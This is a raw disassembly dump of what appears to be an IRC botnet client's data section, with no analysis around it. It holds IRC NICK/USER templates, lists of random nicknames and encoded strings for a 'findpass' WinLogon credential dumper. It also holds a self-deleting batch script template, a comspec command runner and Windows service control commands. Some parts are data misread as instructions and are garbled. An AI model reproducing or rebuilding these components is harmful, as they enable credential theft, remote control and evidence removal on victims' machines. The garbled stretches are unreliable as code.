234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417AA0+70o ; sub_417B37+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_43A868 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417B37+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h, 0 off_43A8C0 dd offset aQ ; DATA XREF: sub_41802F+5Cr ; "q" dd offset dword_43B46C ; --------------------------------------------------------------------------- fadd st, st(3) inc edx add ah, dl fld dword ptr [edx+0] dec eax fld dword ptr [edx+0] push 100043B4h retn 42h ; --------------------------------------------------------------------------- dd offset aI ; "i" dd offset aP ; "p" dd offset aA ; "a" dd offset aS_1 ; "s" dd offset aD ; "d" dd offset dword_43B464 dd offset dword_43B460 dd offset dword_43B45C dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43B458 dd offset dword_43B454 dd offset dword_43B450 ; --------------------------------------------------------------------------- pushf retn ; --------------------------------------------------------------------------- dw 42h dd offset aV ; "v" dd offset dword_43B44C dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43B448 dd offset dword_43B444 dd offset dword_43B440 dd offset dword_43B43C dd offset dword_43B438 dd offset word_43B434 dd offset dword_43B430 dd offset aI_0 ; "I" dd offset dword_43B42C dd offset dword_43B428 dd offset aA_0 ; "A" dd offset dword_43B424 dd offset dword_43B420 dd offset dword_43B41C dd offset dword_43B418 dd offset dword_43B414 dd offset dword_43B410 dd offset dword_43B40C dd offset dword_43B408 dd offset dword_43B404 dd offset dword_43B400 dd offset dword_43B3FC dd offset dword_43B3F8 dd offset dword_43B3F4 dd offset word_43B3F0 dd offset aM_1 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_43B188 dd offset off_43B184 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" ; --------------------------------------------------------------------------- clc mov al, 43h add al, dh mov al, 43h add ah, ah mov al, 43h add al, bl mov al, 43h add al, dl mov al, 43h add al, cl mov al, 43h add al, al mov al, 43h add [eax-57FFBC50h], bh mov al, 43h add [eax-6BFFBC50h], ah mov al, 43h add [eax+7C0043B0h], cl mov al, 43h add [eax+esi*4+43h], dh add [eax+esi*4+43h], ch add [eax+esi*4+43h], ah add [eax+esi*4+43h], bl add [eax-50h], dl inc ebx add [eax-50h], cl inc ebx add [eax-50h], al inc ebx add [eax+esi*4], dh inc ebx add [eax+esi*4], ch inc ebx add [eax], ah mov al, 43h add [eax], bl mov al, 43h add [eax+esi*4], cl inc ebx add [eax+esi*4], al inc ebx add ah, bh scasd inc ebx add ah, dh scasd inc ebx add al, dh scasd inc ebx add ah, ah scasd inc ebx add ah, bl scasd inc ebx add ah, dl scasd inc ebx add ah, cl scasd inc ebx add ah, al scasd inc ebx add [edi+ebp*4-504BFFBDh], bh inc ebx add [edi+ebp*4-505FFFBDh], ch inc ebx add [eax-6FFFBC51h], bl scasd inc ebx add [eax-7FFFBC51h], cl scasd inc ebx add [eax-51h], bh inc ebx add [eax-51h], dh inc ebx add [eax-51h], ch inc ebx add [edi+ebp*4+43h], ah add [eax-51h], bl inc ebx add [edi+ebp*4+43h], cl add [eax-51h], al inc ebx add [eax], bh scasd inc ebx add [eax], dh scasd inc ebx add [eax], ch scasd inc ebx add [edi+ebp*4], bl inc ebx add [eax], dl scasd inc ebx add [edi+ebp*4], al inc ebx add al, bh scasb inc ebx add al, dh scasb inc ebx add ah, ah scasb inc ebx add al, bl scasb inc ebx loc_43ABBF: ; DATA XREF: sub_41802F+41r ; sub_41802F+ECr add ah, cl movsd inc edx add ah, dl scasb inc ebx add al, dl scasb inc ebx add al, cl scasb inc ebx add ah, al scasb inc ebx add al, al scasb inc ebx add [eax-4FFFBC52h], bh scasb inc ebx add [eax-5FFFBC52h], ch scasb inc ebx add [eax-6FFFBC52h], bl scasb inc ebx add [eax-7FFFBC52h], cl scasb inc ebx add [esi+ebp*4+43h], dh add [esi+ebp*4+43h], ch add [esi+ebp*4+43h], ah add [eax-52h], ah inc ebx add [eax-52h], bl inc ebx add [esp+esi*4+43h], cl add [ebx+eax*8-222FFFBEh], bl inc edx add al, bl retn ; --------------------------------------------------------------------------- dw 42h dd offset dword_43B464 dd offset dword_43B460 dd offset dword_43B45C dd offset aI ; "i" dd offset dword_42CBB4 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43B458 dd offset aM ; "m" dd offset aN ; "n" ; --------------------------------------------------------------------------- lodsb leave inc edx add ah, ch rol dword ptr [edx+0], 0B8h fld dword ptr [edx+0] push esp scasb inc ebx add [eax-27h], cl inc edx add [eax], dl retn 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_43B46C dd offset dword_43B450 dd offset dword_43B468 dd offset dword_43B454 dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_43B454 dd offset dword_43B460 dd offset aS_1 ; "s" dd offset aQ ; "q" dd offset off_43AE10 dd offset aBbl ; "|bbl" dd offset byte_43FE14 dd offset byte_43FE14 dd offset a___0 ; "_|_" dd offset byte_43FE14 dd offset byte_43FE14 dd offset byte_43FE14 dd offset byte_43FE14 dd offset dword_43B41C dd offset aM_1 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF ; "^^^f^" dd offset dword_43B44C dd offset byte_43FE14 dd offset aSleeping ; "Sleeping" dd offset byte_43FE14 dd offset byte_43FE14 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43FE14 dd offset byte_43FE14 dd offset dword_43B400 dd offset byte_43FE14 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_43AD90 dd offset dword_43AD8C dd offset dword_43AD84 dd offset dword_43AD78 dd offset dword_43AD70 dd offset dword_43AD68 dd offset dword_43AD60 dd offset dword_43AD5C dd offset dword_43AD58 dword_43AD58 dd 7536h dword_43AD5C dd 7535h dword_43AD60 dd 7C75347Ch, 0 dword_43AD68 dd 6F79347Bh, 7D75hdword_43AD70 dd 7375347Ch, 7Chdword_43AD78 dd 7865737Ch, 65726634h, 7C65hdword_43AD84 dd 6F6C6F6Ch, 7C617Chdword_43AD8C dd 6C6F6Ch dword_43AD90 dd 746F74h aMofo db 'mofo',0 ; DATA XREF: .packed:0043AD30o align 4 aMof0 db 'mof0',0 ; DATA XREF: .packed:0043AD2Co align 4 aMuha db 'muha',0 ; DATA XREF: .packed:0043AD28o align 4 aYeah db 'yeah',0 ; DATA XREF: .packed:0043AD24o align 4 aAha db 'aha',0 ; DATA XREF: .packed:0043AD20o aShit db 'shit',0 ; DATA XREF: .packed:0043AD1Co align 10h aGurl db 'gurl',0 ; DATA XREF: .packed:0043AD18o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: .packed:0043AD14o align 10h aBoy db 'BOY',0 ; DATA XREF: .packed:0043AD10o aFree db 'Free',0 ; DATA XREF: .packed:0043ACFCo align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .packed:0043ACF8o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .packed:0043ACECo align 10h aF db '^^^f^',0 ; DATA XREF: .packed:0043ACE0o align 4 aSad db 'Sad',0 ; DATA XREF: .packed:0043ACDCo aLuvu db 'LUVU',0 ; DATA XREF: .packed:0043ACD8o align 4 a___0 db '_|_',0 ; DATA XREF: .packed:0043ACBCo aBbl db '|bbl',0 ; DATA XREF: .packed:0043ACB0o align 10h off_43AE10 dd offset loc_42523E+4 ; DATA XREF: .packed:0043ACACo aMuckc db 'muckc',0 ; DATA XREF: .packed:0043AC98o align 4 aTruck db 'truck',0 ; DATA XREF: .packed:0043AC94o align 4 aTrimy db 'trimy',0 ; DATA XREF: .packed:0043AC90o align 4 aLuvy db 'luvy',0 ; DATA XREF: .packed:0043AC8Co align 4 aUi db 'ui',0 ; DATA XREF: .packed:0043AC88o align 4 aSdf db 'sdf',0 ; DATA XREF: .packed:0043AC84o aRt db 'rt',0 ; DATA XREF: .packed:0043AC80o align 10h aGf db 'gf',0 ; DATA XREF: .packed:0043AC7Co align 4 aTy db 'ty',0 ; DATA XREF: .packed:0043AC78o align 4 aRg db 'rg',0 ; DATA XREF: .packed:0043AC74o align 4 aHappy db 'happy',0 ; DATA XREF: .packed:0043AC70o align 4 aRs db 'rs',0 align 4 aQ8A db '|q8|a',0 align 10h aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 10h aGens db '{gens|',0 align 4 aSex_0 db '{sex}',0 align 10h aHub db '{hub}',0 align 4 aLuck db '|luck|',0 align 10h aSuck db '|suck|',0 align 4 aTot db '-|tot|',0 align 10h aWoh db '|woh|',0 align 4 aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 aTree db 'tree',0 align 10h aZex db 'zex',0 aLez db 'lez',0 aWantedlove db 'WANTEDLOVE',0 align 4 aCumhur29 db 'cumhur29',0 align 10h aAdamm db 'ADAMM',0 align 4 aMaveRIck db 'MaVe{R}icK',0 align 4 aPrometheus db 'prometheus',0 align 10h aDallas43m db 'DALLAS43M',0 align 4 aTeoman db 'TEOMAN```',0 align 4 aRerpjj db 'RERPJJ',0 align 10h aCem39 db 'cem39',0 align 4 aCool30m db 'cool30m',0 aTropikal db 'tropikal',0 align 4 aPassenger db 'passenger',0 align 4 aNeHaber db 'NE-HABER',0 align 4 aUla db 'ula',0 aIzmirlm db 'izmirlm',0 aAkden db 'akden',0 align 4 aKoray db 'KORAY',0 align 10h aAta29 db 'Ata29',0 align 4 aFirtina db 'firtina',0 aAdamm33 db 'AdAMM33',0 aM41ist db 'M41IST',0 align 10h aMaxsilla db 'maxsilla',0 align 4 aAdem28 db 'Adem28',0 align 4 aAnkm db 'ankM',0 align 4 aErkan db 'erkan',0 align 4 aDevre db 'devre',0 align 4 aYabanc db 'yabanc',0 align 4 aBirsen db 'birsen',0 align 4 aA44m db 'a44m',0 align 4 aAlcatras db 'alcatras',0 align 10h dd offset byte_4B5245 aSevda db 'sevda',0 align 4 aKotan db 'kotan',0 align 4 aTegmen db 'TEGMEN',0 align 4 aAchilles db 'Achilles',0 align 4 aKapk db 'kapk',0 align 10h aAngelgirl db 'angelgirl',0 align 4 aHayran db 'hayran',0 align 4 aFenerlee db 'FeNeRLee',0 align 10h aAnkar db 'Ankar',0 align 4 aDjspace db 'DJSPACE',0 aAnk32M db 'ANK-32-M',0 align 4 aUmut db 'umut-',0 align 4 aAdalim db 'ADALIM',0 align 4 aKumul db 'kumul',0 align 4 aUzgun36 db 'uzgun36',0 aSugarboy db 'SUGARBOY-',0 align 4 aSeviseli db 'SeViSeLi',0 align 4 aKashmira db 'Kashmira',0 align 10h aAykut1 db 'aykut1',0 align 4 aSadikaellesme db 'SaDIkaEllesme',0 align 4 aMahinur db 'MAHINUR',0 aHoly db 'holy',0 align 4 aFlord db 'FLoRD',0 align 10h aKebikec db 'kebikec',0 aEsmerkiz db 'Esmerkiz',0 align 4 aElmaazyok db 'elmaazyok',0 align 10h aEmre db 'Emre--',0 align 4 aRamtha db 'RAMTHA',0 align 10h aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:0043AAD0o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .packed:0043AACCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:0043AAC8o align 10h aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:0043AAC4o aArda db 'arda',0 ; DATA XREF: .packed:0043AAC0o align 4 aDevran db 'devran',0 ; DATA XREF: .packed:0043AABCo align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:0043AAB8o aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:0043AAB4o align 10h aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:0043AAB0o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:0043AAACo align 4 aBogac db 'bogac',0 ; DATA XREF: .packed:0043AAA8o align 10h aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:0043AAA4o align 4 aAnkh db 'ankh',0 ; DATA XREF: .packed:0043AAA0o align 4 off_43B184 dd offset byte_457441 ; DATA XREF: .packed:0043AA9Co dword_43B188 dd 414C5941h, 2DhaAlbina db 'albina',0 ; DATA XREF: .packed:0043AA94o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:0043AA90o align 4 aZack db 'ZACK',0 ; DATA XREF: .packed:0043AA8Co align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .packed:0043AA88o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .packed:0043AA84o align 4 aAhmet db 'ahmet',0 ; DATA XREF: .packed:0043AA80o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .packed:0043AA7Co align 10h aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:0043AA78o align 4 aRetg db 'RETG',0 ; DATA XREF: .packed:0043AA74o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:0043AA70o align 10h aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:0043AA6Co aAslii db 'aslii',0 ; DATA XREF: .packed:0043AA68o align 10h aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:0043AA64o aHaticem db 'haticem',0 ; DATA XREF: .packed:0043AA60o aArzu db 'ARZU',0 ; DATA XREF: .packed:0043AA5Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:0043AA58o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:0043AA54o align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:0043AA50o align 4 aTekir db 'tekir',0 ; DATA XREF: .packed:0043AA4Co align 10h aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:0043AA48o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .packed:0043AA44o align 4 aMelekk db 'melekk',0 ; DATA XREF: .packed:0043AA40o align 4 aAkin db 'AKIN',0 ; DATA XREF: .packed:0043AA3Co align 4 aMary_0 db 'MARY',0 ; DATA XREF: .packed:0043AA38o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .packed:0043AA34o aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:0043AA30o aMisssunday db 'misssunday',0 ; DATA XREF: .packed:0043AA2Co align 4 aIrmal db 'irmal',0 ; DATA XREF: .packed:0043AA28o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:0043AA24o align 10h aBerk19 db 'berk19',0 ; DATA XREF: .packed:0043AA20o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:0043AA1Co align 10h aErkan27 db 'erkan27',0 ; DATA XREF: .packed:0043AA18o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:0043AA14o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:0043AA10o align 10h aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:0043AA0Co align 4 aKencing db 'Kencing',0 ; DATA XREF: .packed:0043AA08o aReshma db 'reshma',0 ; DATA XREF: .packed:0043AA04o align 4 aCamel db 'CAMEL',0 ; DATA XREF: .packed:0043AA00o align 4 aGirl db 'GirL',0 ; DATA XREF: .packed:0043A9FCo align 4 aImra db 'imra',0 ; DATA XREF: .packed:0043A9F8o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .packed:0043A9F4o align 10h aPuregold db 'puregold',0 ; DATA XREF: .packed:0043A9F0o align 4 aKermit db 'kermit',0 ; DATA XREF: .packed:0043A9ECo align 4 aManee db 'manee',0 ; DATA XREF: .packed:0043A9E8o align 4 aTroller db 'troller',0 ; DATA XREF: .packed:0043A9E4o aLuisa db 'Luisa',0 ; DATA XREF: .packed:0043A9E0o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .packed:0043A9DCo align 4 aRimpy db 'rimpy',0 ; DATA XREF: .packed:0043A9D8o align 10h aJanno db 'janno',0 ; DATA XREF: .packed:0043A9D4o align 4 aBunty db 'bunty',0 ; DATA XREF: .packed:0043A9D0o align 10h aHeval db 'heval',0 ; DATA XREF: .packed:0043A9CCo align 4 aCme db 'cme',0 ; DATA XREF: .packed:0043A9C8o aMarcy db 'marcy',0 ; DATA XREF: .packed:0043A9C4o align 4 aTalika db 'talika',0 ; DATA XREF: .packed:0043A9C0o align 4 aShez db 'Shez',0 ; DATA XREF: .packed:0043A9BCo align 4 aKen db 'ken',0 ; DATA XREF: .packed:0043A9B8o aFlexster db 'flexster',0 ; DATA XREF: .packed:0043A9B4o align 4 aKoko db 'koko',0 ; DATA XREF: .packed:0043A9B0o align 4 aMale db 'male',0 ; DATA XREF: .packed:0043A9ACo align 4 aSwin db 'swin',0 ; DATA XREF: .packed:0043A9A8o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:0043A9A4o aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:0043A9A0o align 4 aEmilya db 'emilya',0 ; DATA XREF: .packed:0043A99Co align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:0043A998o align 10h aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:0043A994o aFarooq db 'farooq',0 ; DATA XREF: .packed:0043A990o align 10h aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:0043A98Co align 4 aM_1: ; DATA XREF: .packed:0043A988o ; .packed:0043ACD4o unicode 0, <M>,0 word_43B3F0 dw 4Eh ; DATA XREF: sub_41A628+38r ; .packed:0043A984o align 4 dword_43B3F4 dd 42h dword_43B3F8 dd 56h dword_43B3FC dd 43h dword_43B400 dd 58h ; .packed:0043AD08o dword_43B404 dd 5Ah dword_43B408 dd 4Ch dword_43B40C dd 4Bh dword_43B410 dd 4Ah dword_43B414 dd 48h dword_43B418 dd 47h dword_43B41C dd 46h ; .packed:0043ACD0o dword_43B420 dd 44h dword_43B424 dd 53h dword_43B428 dd 50h dword_43B42C dd 4Fh dword_43B430 dd 55h word_43B434 dw 59h ; DATA XREF: sub_41A94E+38r ; .packed:0043A938o align 4 dword_43B438 dd 54h dword_43B43C dd 52h dword_43B440 dd 45h dword_43B444 dd 57h dword_43B448 dd 51h dword_43B44C dd 62h ; .packed:0043ACE4o dword_43B450 dd 78h ; .packed:0043AC64o dword_43B454 dd 7Ah ; .packed:0043AC6Co ... dword_43B458 dd 6Ch ; .packed:0043AC38o dword_43B45C dd 68h ; .packed:0043AC24o dword_43B460 dd 67h ; .packed:0043AC20o ... dword_43B464 dd 66h ; .packed:0043AC1Co dword_43B468 dd 79h dword_43B46C dd 77h ; .packed:0043AC60o dword_43B470 dd 4B43494Eh, 0A732520h, 0dword_43B47C dd 323334h dword_43B480 dd 474E4F50h, 0A732520h, 0aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417E12+98o db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_41802F+BCo ; sub_41802F+174r ... align 4 dword_43B4C8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_43B514 dd 3000005h, 10h, 18h, 1, 3 dup(0); --------------------------------------------------------------------------- loc_43B530: ; DATA XREF: sub_418466+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_43B544 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_418466+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418827+72o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_4188EC+5o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_41896E+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418A12+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418A34+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418A34+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418A34+48o align 10h unk_43B600 db 2Dh ; - ; DATA XREF: sub_418BBC+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_43B630 db 2Dh ; - ; DATA XREF: sub_418BBC+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_43B658 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418BBC+5Co dd 65726165h, 64h, 0 off_43B678 dd offset aAdd ; DATA XREF: sub_418E93+6Dr ; sub_41927A+50r ... ; "Add" off_43B67C dd offset aAdded ; DATA XREF: sub_418E93+2Dr ; sub_41927A+82r ... ; "Added" dword_43B680 dd 0 dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43B6ECh, 43B6E4h, 2, 43B6D8h, 43B6CCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:0043B6ACo aStop_0 db 'Stop',0 ; DATA XREF: .packed:0043B6A8o align 4 aStarted db 'Started',0 ; DATA XREF: .packed:0043B6A0o aStart_0 db 'Start',0 ; DATA XREF: .packed:0043B69Co align 4 aListed db 'Listed',0 ; DATA XREF: .packed:0043B694o align 4 aList_1 db 'List',0 ; DATA XREF: .packed:0043B690o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .packed:0043B688o aDelete_0 db 'Delete',0 ; DATA XREF: .packed:0043B684o align 4 aAdded db 'Added',0 ; DATA XREF: .packed:off_43B67Co align 4 aAdd db 'Add',0 ; DATA XREF: .packed:off_43B678o unk_43B740 db 2Dh ; - ; DATA XREF: sub_418E93+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_43B764 db 2Dh ; - ; DATA XREF: sub_418E93+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_43B790 db 2Dh ; - ; DATA XREF: sub_418E93+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418FBC+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418FBC:loc_4190D4o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418FBC:loc_4190CDo align 8 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418FBC:loc_4190C6o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418FBC:loc_4190BFo align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418FBC:loc_4190B8o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418FBC:loc_4190B1o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418FBC:loc_4190AAo align 8 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418FBC:loc_4190A3o align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418FBC:loc_41909Co db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418FBC:loc_419095o align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418FBC:loc_41906Ao align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418FBC:loc_419063o db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418FBC:loc_41905Co db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418FBC:loc_419055o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418FBC+8Fo align 8 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418FBC:loc_41902Ao db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418FBC:loc_419020o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418FBC:loc_419016o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418FBC:loc_41900Co align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418FBC:loc_419002o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418FBC+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41913A+EEo aStopped db ' Stopped',0 ; DATA XREF: sub_41913A:loc_419209o aStarting db ' Starting',0 ; DATA XREF: sub_41913A:loc_419202o aStoping db ' Stoping',0 ; DATA XREF: sub_41913A:loc_4191FBo aRunning db ' Running',0 ; DATA XREF: sub_41913A:loc_4191F4o aContinuing db ' Continuing',0 ; DATA XREF: sub_41913A:loc_4191EDo aPausing db ' Pausing',0 ; DATA XREF: sub_41913A:loc_4191E6o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41913A:loc_4191DFo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41913A+9Eo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41913A+25o align 4 unk_43BCF4 db 2Dh ; - ; DATA XREF: 